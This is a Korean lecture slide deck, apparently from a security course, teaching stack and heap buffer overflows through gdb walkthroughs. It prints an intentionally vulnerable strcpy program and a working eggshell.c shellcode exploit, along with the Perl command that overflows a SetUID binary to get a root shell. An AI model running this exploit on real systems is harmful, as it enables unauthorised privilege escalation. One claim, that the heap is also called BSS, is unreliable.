1 / 89

버퍼 오버플로우

7. 버퍼 오버플로우. 학습목표 스택과 힙 버퍼 오버플로우 취약점을 이해한다 . 스택과 힙 버퍼 오버플로우 공격을 수행할 수 있다 . 스택과 힙 버퍼 오버플로우 공격에 대한 대응책을 이해한다 내용 스택 버퍼 오버플로우 공격 힙 버퍼 오버플로우 공격 버퍼 오버플로우 공격에 대한 대책과 발전된 공격. 스택 버퍼 오버플로우 공격. 버퍼 (Buffer) : 데이터를 전송 , 전송하는 동안 일시 보관하는 메모리 오버플로우 : 버퍼가 가지는 일정 크기를 넘는 데이터가 입력되는 현상

javen
Télécharger la présentation

버퍼 오버플로우

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. 7 버퍼 오버플로우

  2. 학습목표 • 스택과 힙 버퍼 오버플로우 취약점을 이해한다. • 스택과 힙 버퍼 오버플로우 공격을 수행할 수 있다. • 스택과 힙 버퍼 오버플로우 공격에 대한 대응책을 이해한다 • 내용 • 스택 버퍼 오버플로우 공격 • 힙 버퍼 오버플로우 공격 • 버퍼 오버플로우 공격에 대한 대책과 발전된 공격

  3. 스택 버퍼 오버플로우 공격 • 버퍼(Buffer) : 데이터를 전송, 전송하는 동안 일시 보관하는 메모리 • 오버플로우 : 버퍼가 가지는 일정 크기를 넘는 데이터가 입력되는 현상 • 버퍼 오버플로우 공격 : 버퍼에 일정 크기 이상의 데이터를 입력, 프로그램을 공격 • 프로그램이 사용하는 버퍼 : 메모리의 스택(Stack)과 힙(Heap)에 존재 • 스택 버퍼 오버플로우와 힙 버퍼 오버플로우로 구분 : 스택에 존재하는 버퍼에 대한 공격이냐 힙에 존재하는 버퍼에 대한 공격이냐에 따라 구분

  4. 스택 버퍼 오버플로우 공격 • 스택 버퍼 오버플로우 공격에 취약한 예 ➊ int main(int argc, char *argv[]) : argc는 취약한 코드인 bugfile.c가 컴파일되어 실행되는 프로그램의 인수 개수, *argv[]는 포인터 배열(인자로 입력되는 값에 대한 번지 수차례로 저장), 인자가 2개일 경우 argv의 내용은 다음과 같다. •argv[0] : 실행 파일 이름 •argv[1] : 첫 번째 인자 내용 •argv[2] : 두 번째 인자 내용 ➋ char buffer[10] : 크기가 10바이트인 버퍼 할당 ➌ strcpy(buffer, argv[1]) : 버퍼에 첫 번째 인자(argv[1]) 복사 ➍printf“( %s\n”,&buffer) : 버퍼에저장된내용출력 스택 버퍼 오버플로우 공격은 strcpy(buffer, argv[1])에서 발생 • bugfile.c • #include <stdio.h> • ➊ int main(int argc, char *argv[]) { • ➋ char buffer[10]; • ➌ strcpy(buffer, argv[1]); • ➍ printf("%s\n", &buffer); • }

  5. 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 • bugfile.c 컴파일 • gdb 디버깅 : -g 옵션 사용 gcc로 컴파일 [그림 7-1] bugfile.c 컴파일 • gcc bugfile.c -g -o bugfile • ls -al 1

  6. 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 • gdb를 이용해 bugfile.c 소스 코드 확인 • list : gdb 이용 bugfile.c 파일을 열어 소스 코드 확인하는 명령 [그림 7-2] gdb로 bugfile.c 소스 코드 확인 • gdb bugfile • list 2

  7. 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 • list 명령 : 특정 행의 범위(3행∼7행)를 조회 [그림 7-3] list 명령으로 특정 행 범위 조회 • list 3, 7

  8. 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 • 브레이크 포인트 설정 • gdb 이용 디버깅 수행시 list 명령 수행 결과로 나타난 프로그램 행 번호 기준 • ‘b(reak) [브레이크 포인트 설정 행]’명령 이용 [그림 7-4] 5행에 브레이크 포인트 설정 • break 5 3

  9. 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 • bugfile.c의 어셈블리어 코드 확인 • main과 strcpy 함수의 어셈블리어 코드 확인 • 함수별 어셈블리어 코드는 ‘disass [함수이름]’명령으로 확인 [그림 7-5] main 함수 어셈블리어 코드 확인 • disass main 4

  10. 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 [그림 7-6] strcpy 함수 어셈블리어 코드 확인 • disass strcpy

  11. 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 • 설정 브레이크 포인트 지점까지 프로그램 실행 후 변수 확인 • 설정한 브레이크 포인트(char buffer[10];)까지 프로그램 실행 • ‘r(un) [인수]’명령 이용 인수‘AAAA’ 입력 [그림 7-7] 프로그램 디버깅을 위한 프로그램 실행 • run AAAA 5

  12. 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 • 브레이크 포인트에서 각 변수 값과 스택의 구조 확인 • 변수 값은 ‘p(rint) [변수이름]’을 통해서 확인 [그림 7-8] 주요 변수 값 확인 • print argc • print argv[0] • print argv[1] • print buffer

  13. 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 • 레지스터 값과 스택 확인 • 레지스터 전체 값 :info reg 명령 조회 • 특정 레지스터 값 :info reg [레지스터종류] 명령 • 스택 확인 : ‘ x/[조회하는메모리범위]xw[조회하는메모리지점]’ [그림 7-9] esp 값 확인 및 esp 값으로부터 스택 내용 확인 • info reg $esp • x/16xw $esp 6

  14. 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 • 다음 단계로 넘어가기 • gdb에서 다음 단계로 넘어가는 명령 •s(tep) : 한 행씩 실행하는데 함수 포함하면 함수 내부로 이동 실행. 올리 디버거 툴의 [Step into] 메뉴와 기능 동일 •n(ext) : 한 행씩 실행하는데 함수 포함하면 함수 완전 실행 후 다음 행으로 이동 올리 디버거 툴의 [Step over] 메뉴와 기능 동일 •c(ontinue) : 현재 위치에서 프로그램의 끝(또는 브레이크)까지 실행 • info reg $esp • x/16xw $esp 7

  15. 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 • n(ext) 명령으로‘strcpy(buffer, argv[1]);’ 실행 후 buffer 값과 esp 값으로부터 스택 내용 다시 확인 [그림 7-10] esp 레지스터와 esp 포인트부터 스택 확인 • next • print buffer • info reg $esp • x/16xw $esp

  16. 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 • c(ontinue) 명령으로 프로그램 마지막까지 실행 [그림 7-11] 프로그램 마지막까지 실행 • continue

  17. 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 • char buffer[10] 범위를 넘겨서 실행 • 버퍼 오버플로우 확인 : ‘printf“( %s\n”, &buffer);’행에 브레이크 포인트를 설정 A를 13개 인수로 입력, 스택 내용 확인 [그림 7-12] esp 레지스터와 esp 포인트부터 스택 확인 • break 6 • run AAAAAAAAAAAAA • x/16xw $esp 8

  18. 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 ➊ 0x80483f8 <main>: push %ebp 최초의 프레임 포인터(ebp) 값 스택 저장 ➋ 0x80483f9 <main+1>: mov %esp,%ebp 현재의 esp 값 ebp 레지스트리 저장 ➌ 0x80483fb <main+3>: sub $0xc,%esp esp 값(int c 할당 값)에서 12(0xc) 바이트만큼 뺀다. 스택에 4바이트 용량 할당, 스택에 buffer[10]을 할당한 부분

  19. 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 ➍ 0x80483fe <main+6>: mov 0xc(%ebp),%eax ebp에서 상위 12바이트(0xC)의 내용을 eax 레지스터에 저장 int main(intargc, char *argv[]) 함수가 호출되기 전에 인수 부분(int argc, char *argv[])이 스택에 쌓인것

  20. 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 ➎ 0x8048401 <main+9>: add $0x4,%eax eax 값에서 4바이트만큼 증가. 주소 값 하나는 4바이트고, eax는 argv[0]에 대한 포인터이므로 argv[1] 가리킴 ➏ 0x8048404 <main+12>: mov (%eax),%edx eax 레지스터가 가리키는 주소의 값을 edx 레지스터에 저장, 프로그램을 실행할 때 인수 부분 가리킴 ➐ 0x8048406 <main+14>: push %edx 프로그램 실행할 때 인수에 대한 포인터를 스택에 저장. 인수를 주지 않고 프로그램 실행하면 스택에 0x0 값 저장

  21. 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 ➑ 0x8048407 <main+15>: lea 0xfffffff4(%ebp),%eax -12(%ebp)의 주소에 대한 주소 값을 eax 레지스터에 저장 실행되는 실행 파일 이름(argv[0])의 주소에 대한 주소 값 ➒ 0x804840a <main+18>: push %eax 스택에 eax를 저장

  22. 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 ➓ 0x804840b <main+19>: call 0x8048340 <strcpy> strcpy 명령 호출

  23. 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 • strcpy 함수 • 입력된 인수의 경계 체크 않음 • 인수는 buffer[10]으로 길이가 10바이트를 넘으면 안 됨 • 이보다 큰 인수를 받더라도 스택에 씀 • Step 8과 같이 인수로A 13개를 쓰면 다음 그림과 같이 A가 쌓임

  24. 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기 • ebp 일부 주소 중 1바이트를 A 문자열이 덮어쓰기 때문에 저장된 ebp 값 손상 프로그램은 오류 발생 • 셸 코드를 메모리에 올려두고 ret 주소를 셸 코드의 실행 주소로 바꾸면 프로그램이 실행을 마치고 돌아갈 곳을 공격 셸이 위치한 곳으로 바꿔줌으로써 스택 버퍼 오버 플로우 공격은 수행되고 셸을 얻을 수 있음 • 단, SetUID가 스택 오버플로우 가능한 프로그램에 설정, 관리자 소유의 파일이어야 함

  25. 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

  26. 실습 7-2 스택 버퍼 오버플로우 수행하기 • eggshell.c • #include <stdlib.h> • #define DEFAULT_OFFSET 0 • #define DEFAULT_BUFFER_SIZE 512 • #define DEFAULT_EGG_SIZE 2048 • #define NOP 0x90 • char shellcode[] = • "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" • "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" • "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" • "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" • "\x00\xc9\xc3\x90/bin/sh"; • unsigned long get_esp(void) { • __asm__("movl %esp,%eax"); • }

  27. 실습 7-2 스택 버퍼 오버플로우 수행하기 • void main(int argc, char *argv[]) { • char *buff, *ptr, *egg; • long *addr_ptr, addr; • int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; • int i, eggsize=DEFAULT_EGG_SIZE; • if(argc > 1) bsize = atoi(argv[1]); • if(argc > 2) offset = atoi(argv[2]); • if(argc > 3) eggsize = atoi(argv[3]); • if(!(buff = malloc(bsize))) { • printf("Can't allocate memory.\n"); • exit(0); • } • if(!(egg = malloc(eggsize))) { • printf("Can't allocate memory.\n"); • exit(0); • }

  28. 실습 7-2 스택 버퍼 오버플로우 수행하기 • addr = get_esp() - offset; • printf("Using address: 0x%x\n", addr); • ptr = buff; • addr_ptr = (long *) ptr; • for(i = 0; i < bsize; i+=4) • *(addr_ptr++) = addr; • ptr = egg; • for(i = 0; i < eggsize - strlen(shellcode) - 1; i++) • *(ptr++) = NOP; • for(i = 0; i < strlen(shellcode); i++) • *(ptr++) = shellcode[i]; • buff[bsize - 1] = '\0'; • egg[eggsize - 1] = '\0'; • memcpy(egg,"EGG=",4); • putenv(egg); • memcpy(buff,"RET=",4); • putenv(buff); • system("/bin/bash"); • }

  29. bugfile.c와 eggshell.c 컴파일 bugfile.c를 관리자 계정으로 컴파일한 후, SetUID를 부여 [그림 7-20] 실습 전 환경 구성 실습 7-2 스택 버퍼 오버플로우 수행하기 • gcc -o bugfile bugfile.c • gcc -o egg eggshell.c • chmod 4755 bugfile • ls -al • su - wishfree 1

  30. 취약 함수 찾기 strings 명령 : 컴파일한 프로그램이 사용한 함수 확인 [그림 7-21] 컴파일한 파일 속에서 strcpy 사용 확인 gdb 이용 확인한 strcpy 함수가 어떻게 사용되는지, 공격자가 이 입력 값에 대한 조작이 가능한지 판단 실습 7-2 스택 버퍼 오버플로우 수행하기 • strings bugfile 2

  31. ‘Segmentation Fault’가 일어나는 지점 찾기 프로그램 ret 주소 변조 : ‘ Segmentation fault’ 오류 발생, 이오류를 통해 ret 주소 위치 역으로 확인. ret 주소가 저장되는 위치를 찾기 위해 임의 길이의 A문자 입력 [그림 7-22] 입력 버퍼 이상의 문자열 입력 시 일어나는‘Segmentation fault 16번째 문자에서 ‘Segmentation fault’가 발생(bugfile.c의 char buffer[10]가 할당되는 주소 공간 12바이트, ebp 저장 공간 4바이트이기 때문 17∼20바이트까지 ret 주소임 실습 7-2 스택 버퍼 오버플로우 수행하기 • ./bugfile AAAAAAAAAAAAAAA • ./bugfile AAAAAAAAAAAAAAAA 3

  32. eggshell 실행 eggshell 실행 셸 코드를 메모리에 남겨두고 주소 확인 [그림 7-23] eggshell 실행 스택 버퍼 오버플로우 공격 수행 펄(Perl) 이용 A 문자열과 셸의 메모리 주소를 bugfile에 직접 실행 [그림 7-24] 스택 버퍼 오버플로우 공격의 수행 실습 7-2 스택 버퍼 오버플로우 수행하기 • ./eggshell 4 5 • perl -e 'system "./bugfile", "AAAAAAAAAAAAAAAA\x38\xfd\xff\xbf"' • id

  33. 힙 버퍼 오버 플로우 • 힙 : 프로그램 실행 시 동적으로 할당한 메모리 공간 • malloc 계열의 heapalloc, aeapfree, malloc, free, new, delete 등의 함수로 제어 • BSS(Block Started by Symbol)라고도 부름 • 스택과 반대로 메모리의 하위 주소에서 상위 주소로 영역이 커짐

  34. 힙 버퍼 오버플로우의 동작을 gdb 로 분석 heap_test_02.c는 heap_test_01.c를 gdb로 효율적으로 분석하려고 간략화 한 것 실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 • heap_test_01.c • #include <stdio.h> • #include <stdlib.h> • #include <unistd.h> • #include <string.h> • #define BUFSIZE 16 • #define OVERSIZE 8 • int main(){ • u_long address_diff; • char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE); • address_diff = (u_long)buf2 - (u_long)buf1; • printf("buf1 = %p, buf2 = %p, address_diff = 0x%x bytes\n", buf1, buf2, • address_diff); • memset(buf2, 'A', BUFSIZE-1), buf2[BUFSIZE-1] = ‘\0’; • printf("오버플로우 전 buf1의 내용 = %s\n", buf1); • printf("오버플로우 전 buf2의 내용 = %s\n\n", buf2); • memset(buf1, 'B', (u_int)(address_diff + OVERSIZE)); • printf("오버플로우 후 buf1의 내용 = %s\n", buf1); • printf("오버플로우 후 buf2의 내용 = %s\n", buf2); • return 0; • }

  35. 실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 • heap_test_02. • c#include <stdio.h> • #include <stdlib.h> • #include <unistd.h> • #include <string.h> • int main(){ • u_long address_diff; • char *buf1 = (char *)malloc(16); • char *buf2 = (char *)malloc(16); • address_diff = (u_long)buf2 - (u_long)buf1; • memset(buf2, 'A', 15), buf2[15] = '\0'; • memset(buf1, 'B', (u_int)(address_diff + 8)); • printf("오버플로우 후 buf2의 내용 = %s\n", buf2); • return 0; • }

  36. heap_test_01.c, heap_test_02.c 컴파일 heap_test_02.c는 gdb에서 디버깅할 예정이므로 -g 옵션 주어 컴파일 [그림 7-26] heap_test_01.c, heap_test_02.c 컴파일 실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 • gcc -o heap_test_01 heap_test_01.c • gcc -g -o heap_test_02 heap_test_02.c 1

  37. heap_test_01 실행 결과 확인 malloc 함수 이용 힙에 메모리 공간 할당한 두 버퍼 값(buf1, buf2)의 오버플로우 전후 값 변화 확인 [그림 7-27] heap_test_01 실행 결과 이 결과를 가져온 것은 heap_test_01.c의 memset(buf1,‘ B’, (u_int)(address_diff +OVERSIZE)); 부분, address_diff(24, 0x18)과 OVERSIZE(8) 값을 더한 만큼 buf1에 입력. 즉 buf2가 OVERSIZE(8)만큼B 문자로 덮어씌워짐 실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 • ./heap_test_01 2

  38. heap_test_02 실행 결과 확인 heap_test_02를 실행 [그림 7-28] heap_test_02 실행 결과 실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 • ./heap_test_02 3

  39. gdb로 heap_test_02의 main 함수 확인 [그림 7-29] gdb를 통한 heap_test_02 실행과 main 함수 어셈블리어 확인 실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 • gdb ./heap_test_02 • disass main 4

  40. main 함수의 내용을 어셈블리어 분석 실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 • 0x8048440 <main>: push %ebp • 0x8048441 <main+1>: mov %esp,%ebp • 0x8048443 <main+3>: sub $0xc,%esp • 0x8048446 <main+6>: push $0x10 • 0x8048448 <main+8>: call 0x8048334 <malloc> • 0x804844d <main+13>: add $0x4,%esp • 0x8048450 <main+16>: mov %eax,%eax • 0x8048452 <main+18>: mov %eax,0xfffffff8(%ebp) • 0x8048455 <main+21>: push $0x10 • 0x8048457 <main+23>: call 0x8048334 <malloc> • 0x804845c <main+28>: add $0x4,%esp • 0x804845f <main+31>: mov %eax,%eax • 0x8048461 <main+33>: mov %eax,0xfffffff4(%ebp) • 0x8048464 <main+36>: mov 0xfffffff4(%ebp),%eax • 0x8048467 <main+39>: mov 0xfffffff8(%ebp),%edx • 0x804846a <main+42>: mov %eax,%ecx • 0x804846c <main+44>: sub %edx,%ecx • 0x804846e <main+46>: mov %ecx,0xfffffffc(%ebp) • 0x8048471 <main+49>: push $0xf • 0x8048473 <main+51>: push $0x41

  41. 실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 • 0x8048475 <main+53>: mov 0xfffffff4(%ebp),%eax • 0x8048478 <main+56>: push %eax • 0x8048479 <main+57>: call 0x8048374 <memset> • 0x804847e <main+62>: add $0xc,%esp • 0x8048481 <main+65>: mov 0xfffffff4(%ebp),%eax • 0x8048484 <main+68>: add $0xf,%eax • 0x8048487 <main+71>: movb $0x0,(%eax) • 0x804848a <main+74>: mov 0xfffffffc(%ebp),%eax • 0x804848d <main+77>: add $0x8,%eax • 0x8048490 <main+80>: push %eax • 0x8048491 <main+81>: push $0x42 • 0x8048493 <main+83>: mov 0xfffffff8(%ebp),%eax • 0x8048496 <main+86>: push %eax • 0x8048497 <main+87>: call 0x8048374 <memset> • 0x804849c <main+92>: add $0xc,%esp • 0x804849f <main+95>: mov 0xfffffff4(%ebp),%eax • 0x80484a2 <main+98>: push %eax • 0x80484a3 <main+99>: push $0x8048540 • 0x80484a8 <main+104>: call 0x8048364 <printf> • 0x80484ad <main+109>: add $0x8,%esp • 0x80484b0 <main+112>: xor %eax,%eax • 0x80484b2 <main+114>: jmp 0x80484b4 <main+116> • 0x80484b4 <main+116>: leave • 0x80484b5 <main+117>: ret

  42. u_long address_diff;까지 실행 확인 main 함수에 브레이크 포인트 설정, 실행 u_long address_diff; 다음인 char*buf1 = (char *)malloc(16);에서 실행 멈춤 [그림 7-30] main 함수 시작 포인트에 브레이크 포인트 설정 후 실행 실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 • break main • run 5

  43. 어셈블리어 코드의 <main+3>까지 [그림7-30]의 실행 결과에 해당 unsigned long 값인 address_diff(4바이트), 포인터 주소 값인 char *buf1(4바이트)과 char *buf2(4바이트)에 대한 메모리가 12바이트(0xc)만큼 스택에 할당 스택에 할당된 12바이트의 주소에 힙 주소에 대한 포인터 값이 저장 실행 후 스택모습 : ebp 값이0xbffffd48이므로, sfp 값인0xbffffd68 앞의 세값은 u_long address_diff = 0x08049580, char *buf1 = 0x0804956c, char *buf2= 0x0804842b [그림 7-31] u_long address_diff; 실행 후 스택 확인 실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 • 0x8048440 <main>: push %ebp • 0x8048441 <main+1>: mov %esp,%ebp • 0x8048443 <main+3>: sub $0xc,%esp • info reg ebp • info reg esp • x/12xw $esp

  44. char *buf1 = (char *)malloc(16);까지 실행 확인 next 명령 [그림 7-32] char *buf1 = (char *)malloc(16);까지 실행 어셈블리어 코드 실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 • next 6 • 0x8048446 <main+6>: push $0x10 • 0x8048448 <main+8>: call 0x8048334 <malloc> • 0x804844d <main+13>: add $0x4,%esp • 0x8048450 <main+16>: mov %eax,%eax • 0x8048452 <main+18>: mov %eax,0xfffffff8(%ebp)

  45. Malloc에 의해 buf1에 대한 포인터 주소 값 할당, 힙은 초기화 [그림 7-33] char *buf1 = (char *)malloc(16); 실행 후 스택 확인 buf1의힙에서의주소(0x08049668)를확인 [그림 7-34] char *buf1 = (char *)malloc(16); 실행 후 힙의 buf1 값 확인 실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 • info reg esp • x/12xw $esp • x/4xw 0x8049668

  46. char *buf2 = (char *)malloc(16);까지 실행 확인 char *buf1 = (char *)malloc(16); 실행과 동일 [그림 7-35] char *buf1 = (char *)malloc(16); 실행 후 스택과 힙의 buf2 값 확인 어셈블리어 코드 실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 • next • info reg esp • x/12xw $esp • x/4xw 0x8049680 7 • 0x8048455 <main+21>: push $0x10 • 0x8048457 <main+23>: call 0x8048334 <malloc> • 0x804845c <main+28>: add $0x4,%esp • 0x804845f <main+31>: mov %eax,%eax • 0x8048461 <main+33>: mov %eax,0xfffffff4(%ebp)

  47. address_diff = (u_long)buf2 - (u_long)buf1;까지 실행 확인 address_diff에0x18이 저장 - 0x18(24)(0x8049680 - 0x8049668) [그림 7-36] address_diff = (u_long)buf2 - (u_long)buf1; 실행 시 스택 구조 어셈블리어 코드 실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 • next • x/12xw $esp • print address_diff 8 • 0x8048464 <main+36>: mov 0xfffffff4(%ebp),%eax • 0x8048467 <main+39>: mov 0xfffffff8(%ebp),%edx • 0x804846a <main+42>: mov %eax,%ecx • 0x804846c <main+44>: sub %edx,%ecx • 0x804846e <main+46>: mov %ecx,0xfffffffc(%ebp)

  48. memset(buf2,‘ A’, 15), buf2[15] =‘ \0’;까지 실행 확인 buf2에A 문자를 15개 입력 후 확인 [그림 7-37] memset(buf2, ‘A’, 15) 실행 후 힙에서 buf2 값 확인 어셈블리어 코드 실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 • next • x/4xw 0x8049680 9 • 0x8048471 <main+49>: push $0xf • 0x8048473 <main+51>: push $0x41 • 0x8048475 <main+53>: mov 0xfffffff4(%ebp),%eax • 0x8048478 <main+56>: push %eax • 0x8048479 <main+57>: call 0x8048374 <memset> • 0x804847e <main+62>: add $0xc,%esp • 0x8048481 <main+65>: mov 0xfffffff4(%ebp),%eax • 0x8048484 <main+68>: add $0xf,%eax • 0x8048487 <main+71>: movb $0x0,(%eax)

  49. 실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기

  50. memset(buf1,‘ B’, (u_int)(address_diff + 8));까지 실행 확인 B 문자 32(24+8)개를 buf1에 입력 후 확인 [그림 7-39] memset(buf1, ‘B’, (u_int)(address_diff + 8)); 실행 후 buf1 값을 힙에서 확인 buf2 영역이었던 메모리 영역까지 buf1의B(42) 문자 저장 여기에서 힙 버퍼 오버플로우가 일어난 것 실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 • next • x/12xw 0x8049668 10

More Related